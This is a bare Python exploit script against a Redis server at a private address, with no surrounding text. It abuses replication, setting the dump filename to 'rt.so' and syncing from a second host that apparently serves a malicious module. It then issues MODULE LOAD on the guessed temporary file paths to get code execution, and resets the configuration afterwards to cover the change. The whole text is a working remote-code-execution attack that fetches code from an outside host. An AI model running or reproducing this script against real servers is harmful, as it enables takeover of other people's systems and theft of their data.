import socket, time
def connect(ip):
    s = socket.create_connection((ip, 6379), 5); s.settimeout(8)
    def cmd(*a):
        p = b'*%d\r\n' % len(a)
        for x in a:
            x = x.encode() if isinstance(x, str) else x
            p += b'$%d\r\n%s\r\n' % (len(x), x)
        s.sendall(p); time.sleep(0.5)
        o = b''
        try:
            while True:
                d = s.recv(65536)
                if not d: break
                o += d
                if len(d) < 65536: break
        except socket.timeout: pass
        return o.decode(errors='replace')
    return s, cmd
s, cmd = connect('10.24.60.46')
info = cmd('INFO', 'server')
pid = [l.split(':')[1] for l in info.split('\r\n') if l.startswith('process_id')][0]
print('pid:', pid)
# fresh sync attempt
cmd('REPLICAOF', 'NO', 'ONE')
cmd('CONFIG', 'SET', 'dbfilename', 'rt.so')
t0 = int(time.time())
cmd('REPLICAOF', '10.24.18.64', '6389')
time.sleep(4)
cmd('REPLICAOF', 'NO', 'ONE')
print('sync attempted at', t0)
for dt in range(0, 5):
    path = '/var/lib/redis/temp-%d.%s.rdb' % (t0 + dt, pid)
    r = cmd('MODULE', 'LOAD', path)
    print(path, '->', r.strip()[:80])
    if r.startswith('+OK'):
        break
r = cmd('MODULE', 'LOAD', '/var/lib/redis/rt.so')
print('rt.so ->', r.strip()[:80])
cmd('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
cmd('REPLICAOF', 'NO', 'ONE')
print('reset done')
